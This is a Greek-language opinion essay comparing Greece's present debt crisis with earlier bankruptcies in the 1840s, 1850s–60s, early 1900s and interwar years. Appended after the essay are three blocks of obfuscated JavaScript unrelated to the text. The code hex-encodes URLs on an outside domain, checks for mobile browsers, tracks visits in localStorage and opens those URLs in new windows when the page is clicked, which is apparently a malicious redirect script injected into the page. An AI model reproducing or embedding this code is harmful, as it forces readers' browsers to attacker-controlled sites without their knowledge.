

ΟΙ ΔΡΟΜΟΙ ΚΛΕΙΝΟΥΝ;

Συχνά λέγεται ότι η χώρα αντιμετωπίζει μια πρωτόγνωρη κατάσταση ανόμοια με κάθε άλλη στην ιστορία της. Κατά συνέπεια δεν διαθέτουμε πυξίδα για να βρούμε τους σωστούς προσανατολισμούς κάτι που μας υποχρεώνει σε μεθόδους δοκιμών και λαθών, έως την ανακάλυψη της σωστής πορείας.

Αυτό δεν είναι αλήθεια. Σε πολλές περιπτώσεις, από την Επανάσταση του 1821 και εντεύθεν, η Ελλάδα κλήθηκε να αντιμετωπίσει παρεμφερείς ή και ίδιες καταστάσεις.

Αν δεχθούμε ότι σήμερα οι Έλληνες βρισκόμαστε αντιμέτωποι με το φρικτό φάσμα της χρεοκοπίας αφ' ενός και με τις αλλαγές στις κοινωνικές δομές αφ' ετέρου, αντίστοιχα ανάλογα, μπορούμε να συναντήσουμε και στο παρελθόν. Ειδικά, τρεις τουλάχιστον παρόμοιες περιπτώσεις έχουν καταγραφεί στην Ιστορία, οι οποίες ανακυκλώνονται στα πλαίσια του περίφημου δόγματος της κυκλικής επανάληψης της Ιστορίας. Πριν τις αναφέρω θα πρέπει να σημειώσω, εντούτοις, πως τα δύο στοιχεία της σημερινής κατάστασης που ανέφερα, είναι αντίθετα μεταξύ τους. Η χρεοκοπία αναπαριστά ένα μοντέλο κοινωνικής και οικονομικής οργάνωσης, επικεντρωμένο στο κράτος Λεβιάθαν της πρώτης μεταπολεμικής περιόδου, το οποίο θέλει να συμπαρασύρει όσους μπορεί περισσότερους στο τάφο μαζί του, και το δεύτερο στοιχείο εμφανίζει την ύπαρξη ενός δυναμικού νέου κοινωνικού στρώματος γαλβανισμένου με τις νέες τεχνολογίες και προσανατολισμένου στην ανοικτότητα του ευρωπαϊκού και παγκόσμιου χώρου, που επιζητά να αυτοκαθορισθεί πολιτικά και έξω από την ακτίνα του ισχύοντος πολιτικού φάσματος. Η μεταπολιτευτική περίοδος κλείνει με τον χειρότερο δυνατό τρόπο αλλά ταυτόχρονα ανοίγει αισιόδοξα μια νέα, η οποία, όπως όλα δείχνουν, θα καθοδηγηθεί από τον ενημερωμένο τεχνολογικά νέο Έλληνα, επιστήμονα και επιχειρηματία.

Η πρώτη αντίστοιχη περίοδος που κατέγραψε η ελληνική ιστορία ήταν οι δεκαετίες του

1850 -60. Και τότε υπήρχε η παραφθορά και διαφθορά της κομματοκρατίας, η οποία ανάγκασε την κυβέρνηση Κουντουριώτη το 1858-9, σε στάση πληρωμών των ξένων δανείων και τότε τα πρώτα αστικά στρώματα της ελληνικής κοινωνίας έκαναν δυναμικά την είσοδο τους σχηματίζοντας νέες πολιτικές ισορροπίες και νέα πολιτικά και οικονομικά δεδομένα. Εκείνα τα στρώματα εκφράστηκαν πολιτικά από τον φιλελευθερισμό του Χ. Τρικούπη μέχρι το τέλος του αιώνα, χωρίς όμως και αυτός να επιτύχει την αποφυγή της χρεοκοπίας αν και το γεγονός ήταν αποτέλεσμα διαφορετικών οικονομικών αιτιών από αυτό της σημερινής. Η δυναμική ανακόπηκε με τον Ελληνοτουρκικό πόλεμο του 1897, ο οποίος ανάγκασε την Ελλάδα σε καταβολή αποζημιώσεων προς την Τουρκία και την επανακυριαρχία του κοτσαπασισμού.

Η δεύτερη παρεμφερής περίοδος είναι εκείνη της πρώτης δεκαετίας του εικοστού αιώνα, όπου για να αντιμετωπιστεί η κομματική φαυλότητα και η πολιτική αστάθεια της εποχής, ένα στρατιωτικό κίνημα πατριωτών κατώτερων αξιωματικών, υπό τον στρατηγό Ζορμπά, έφερε από την Κρήτη τον ικανό νέο πολιτικό Ελ. Βενιζέλο, ο οποίος εν μέσω κοσμογονικών αλλαγών στα Βαλκάνια και στην Ευρώπη, κατάφερε να διπλασιάσει το πληθυσμό και τα γεωγραφικά σύνορα της χώρας. Και αυτός όμως για να αναδιοργανώσει τα δημόσια οικονομικά δεν δίστασε να επαναδιαπραγματευτεί τις δεσμεύσεις με τους ξένους πιστωτές της Ελλάδας. Οι αλλαγές στις κοινωνικές δομές, με την αστικοποίηση και τη δυναμική εξέλιξη των μεσαίων αστικών στρωμάτων, διαμορφώνουν ταυτόχρονα και νέες πολιτικές ισορροπίες. Νέα πρόσωπα κάνουν την είσοδο τους στη πολιτική κονίστρα, όπως ο Μεταξάς, ο Παπαναστασίου, ο Δελμούζος, ο Δαγκλής, κλπ, αλλά η κομματική φαυλοκρατία επιμένει. Αλλά η πτώχευση του 1893, η σταφιδική κρίση, και η χρεοκοπία πολλών εμπορών, η μείωση της σημασίας του συστήματος της μικροκαλλιέργειας και η ενίσχυση των φεουδαρχικών σχέσεων ο καταστρεπτικός πόλεμος του 1897, το μεγάλο δημόσιο χρέος, η μαζική μετανάστευση στην Αμερική, είναι γεγονότα που αποδεικνύουν πως οι μεγάλες αστικές κοινωνικές αλλαγές δεν εδραιώθηκαν επαρκώς.

Η τρίτη παρόμοια περίπτωση είναι αυτή της μεσοπολεμικής περιόδου. Κατά τον μεσοπόλεμο και με την δυναμική του κύματος των προσφύγων, η οικονομία γνωρίζει μεγάλες αλλαγές και αναπτυξιακά κύματα. Βιομηχανικοί κλάδοι αιχμής για την εποχή αναπτύσσονται και η χώρα αρχίζει να ξεκολλάει από τον βάλτο της επίμονης φτώχειας. Υποδομές, σχολεία και βιβλιοθήκες ξεφυτρώνουν παντού, σύμφωνο φιλίας υπογράφεται με την Τουρκία αλλά δυστυχώς και πάλι η πορεία ανακόπτεται από την κήρυξη του δεύτερου Παγκοσμίου πολέμου όπου η Ελλάδα χρεοκοπεί. Μετά το τέλος του, ο εμφύλιος σπαραγμός, αποτελείώνει για τα καλά την οικονομία, για την ανόρθωση της οποίας μεριμνά το μεταπολεμικό σχέδιο Μάρσαλ.

Δίπλα στις τρεις αυτές παρεμφερείς περιπτώσεις με τη σημερινή, θα μπορούσαμε να προσθέσουμε και μία τέταρτη. Την περίοδο της δεκαετίας του 1840, κατά την οποία ο

πρωθυπουργός Χρηστίδης κηρύσσει την πτώχευση ως προς την ικανότητα αποπληρωμής των αγγλικών δανείων και ταυτόχρονα ο ελληνικός λαός ζητά επίμονα και λαμβάνει, το πρώτο σύνταγμα από τον βασιλιά Όθωνα το 1843.

Τι θα μπορούσαμε να συμπεράνουμε από όλα αυτά; Ότι στην Ελλάδα είναι πια παράδοση οι χρεοκοπίες και όχι πρωτόγνωρες καταστάσεις. Αποδεικνύεται προφανώς ότι το κομματικό Κράτος δεν ήταν και δεν είναι ικανό να παίξει το ρόλο που του αναθέτει ο κοινοβουλευτισμός και η Δημοκρατία. Ο πρώτος «ένοχος» για την κατάσταση αυτή είναι η κοματοκρατία και η δημαγωγική φαυλότητα, στοιχεία που ποδηγετούν την ελληνική οικονομική εξέλιξη και την κοινωνική ανάπτυξη.

```
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx
70x61x6ex79x2fx7ax52x54x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2f
x61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74
x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30
x63x370','random','-local-storage','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex
63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation','4051490VdJdXO','test','op
en','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7a
x63x51x36x63x386','12075252qhSFyR','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x
78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx
61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmtK','r
ound','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','ven
dor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return
_0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
```

```

_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(![]){try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift'](
));}}(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'
substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx
6dx70x61x6ex79x2fx4ex6ax74x31x63x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x
70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x
314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x7
0x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x3
09',",_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x
3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x1
9b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_
0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){le
t _0x129862=![];return
function(_0x784bdc){(((android|bbd+|meego).+mobile|avantgo|bada|blackberry|blazer|compal|e
laine|fennec|hiptop|iemoible|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6|0)|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino|i[_0x365b[0x4]](_0x784bdc)|/1207|6310|6590|3gso|4thp|50[1-6]|i770s|802s|a
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-
m|r |s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55|/capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( |i|ip)|hs-c|ht(c-|
|_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-|a-w)|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-[1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-|2-7)|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/se(c-|0|1)|47|mc(nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|
81|83|85|98)|w3c(-| )|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]])(0x0,0x4
))&&(_0x129862=![]);(navigator[_0x365b[0x1]]|navigator[_0x365b[0x2]]|window[_0x365b[0x3]
]),_0x129862;};const

```

```
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);},_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());
```